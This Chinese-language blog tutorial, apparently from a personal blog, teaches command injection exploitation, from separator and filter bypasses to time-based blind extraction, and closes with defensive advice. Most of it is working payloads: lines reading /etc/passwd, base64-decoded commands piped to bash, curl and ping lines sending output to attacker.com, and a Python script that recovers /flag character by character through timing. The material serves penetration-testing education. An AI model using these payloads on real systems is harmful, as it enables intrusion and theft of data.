命令注入漏洞实战:从分号绕过到盲注时间延迟利用

命令注入(Command Injection)是 Web 安全领域最危险的漏洞类型之一。当应用程序将用户输入未经充分过滤便拼接到系统命令中执行时,攻击者便可能借此控制服务器。本文将从基础的分号绕过讲起,逐步深入到盲注场景下的时间延迟利用,结合实战思路帮助读者建立完整的攻击链认知。

一、漏洞原理回顾

命令注入的本质是用户输入跨越了数据与代码的边界。在 PHP、Java、Python 等语言中,system()exec()Runtime.exec() 等函数会调用操作系统 shell 执行命令。如果程序写成:

system("ping -c 1 " . $_GET['ip']);

那么攻击者传入 127.0.0.1; whoami 时,实际执行的就是两条命令。

二、命令分隔符:不只是分号

很多人以为命令注入只能靠分号,实际上不同 shell 和环境下可用分隔符非常丰富:

分隔符 说明 适用场景
; 顺序执行,无论前一条是否成功 Linux / macOS
` ` 管道,前一条输出作为后一条输入
` `
& 后台执行,两条都会执行 Linux / Windows
&& 前一条成功才执行后一条 Linux / Windows
%0a 换行符,URL 编码后绕过黑名单 多数场景

实战技巧:当目标过滤了分号时,可以尝试 %0a(换行)、%0d(回车)或 |。例如:

?ip=127.0.0.1%0awhoami
?ip=127.0.0.1|whoami
?ip=127.0.0.1||whoami

如果目标运行在 Windows 上,还可以使用 &&&,PowerShell 环境下甚至可以用 ;

三、常见绕过手法

1. 空格过滤

当空格被过滤时,可用以下替代:

  • ${IFS}:Linux shell 内部字段分隔符
  • $IFS$9:配合位置参数
  • < 重定向:cat<flag.txt
  • %09:Tab 字符
  • {cat,flag.txt}:Bash 花括号扩展

示例:

?ip=127.0.0.1;cat${IFS}/etc/passwd
?ip=127.0.0.1;cat</etc/passwd

2. 关键字过滤

如果 catwhoami 等被 WAF 拦截,可以:

  • 使用变量拼接:a=ca;b=t;$a$b /etc/passwd
  • 使用通配符:/bin/ca? /etc/passwd
  • 使用编码:echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
  • 使用反引号或 $()`whoami`$(whoami)

3. 无回显场景

当命令执行结果不会返回给前端时,就进入了盲注阶段。常见利用方式包括:

  • 外带数据(OOB):通过 DNS 或 HTTP 请求把结果带出来
    ?ip=127.0.0.1;curl http://attacker.com/$(whoami)
    ?ip=127.0.0.1;ping `whoami`.attacker.com
    
  • 写文件到 Web 目录echo "test" > /var/www/html/shell.php
  • 时间延迟:本文重点,见下一节

四、盲注时间延迟利用

当既没有回显,也无法外带数据(例如目标不出网)时,时间延迟是最后的武器。核心思路是:通过命令执行结果控制响应时间,从而逐字符推断信息

1. Linux 下的 sleep

# 基本探测
?ip=127.0.0.1;sleep 5

# 条件判断:如果当前用户是 root,则延迟 5 秒
?ip=127.0.0.1;if [ $(whoami) = "root" ]; then sleep 5; fi

# 逐字符提取文件名
?ip=127.0.0.1;if [ $(cut -c1 /etc/passwd) = "r" ]; then sleep 5; fi

2. 无 sleep 命令时的替代

某些精简容器中没有 sleep,可以用:

  • ping -c 5 127.0.0.1:ping 自己 5 次
  • read -t 5:等待输入 5 秒
  • timeout 5 tail -f /dev/null

3. 自动化脚本思路

手工逐字符测试效率极低,实战中通常编写 Python 脚本:

import requests
import time

url = "http://target.com/ping.php"
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
result = ""

for pos in range(1, 20):
    for c in chars:
        payload = f"127.0.0.1;if [ $(cat /flag | cut -c{pos}) = '{c}' ]; then sleep 3; fi"
        start = time.time()
        requests.get(url, params={"ip": payload})
        elapsed = time.time() - start
        if elapsed > 2.5:
            result += c
            print(result)
            break

该脚本通过测量响应时间是否超过阈值来判断字符是否匹配,逐位还原出 /flag 的内容。

4. Windows 下的时间盲注

Windows 没有 sleep,但可以用 ping -ntimeout

127.0.0.1 & ping -n 5 127.0.0.1 > nul
127.0.0.1 & timeout /t 5 > nul

条件判断则依赖 if

127.0.0.1 & if exist C:\flag.txt ping -n 5 127.0.0.1 > nul

五、防御建议

理解了攻击手法,防御思路也就清晰了:

  1. 避免拼接命令:优先使用语言内置 API,如 PHP 的 filter_var 校验 IP,Python 的 subprocess 列表参数模式。
  2. 白名单校验:对 IP、域名等输入使用严格正则,拒绝一切特殊字符。
  3. 转义处理:使用 escapeshellarg() / escapeshellcmd()(PHP)等函数。
  4. 最小权限:Web 服务以低权限用户运行,限制其可执行命令范围。
  5. WAF 与日志:部署规则拦截 ;|$( 等特征,并记录异常请求。

六、总结

命令注入的利用过程是一场与过滤规则的博弈。从最基础的分号拼接,到空格、关键字的层层绕过,再到无回显场景下的时间延迟盲注,每一步都考验着攻击者对操作系统和 shell 特性的理解。时间盲注虽然效率不高,但在“无回显、不出网”的苛刻条件下,往往成为突破防线的唯一路径。掌握这些技巧,不仅有助于渗透测试,更能帮助开发者在编码阶段就建立起足够的防御意识。

未经允许不得转载:任鹏个人博客 » 命令注入漏洞实战:从分号绕过到盲注时间延迟利用

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏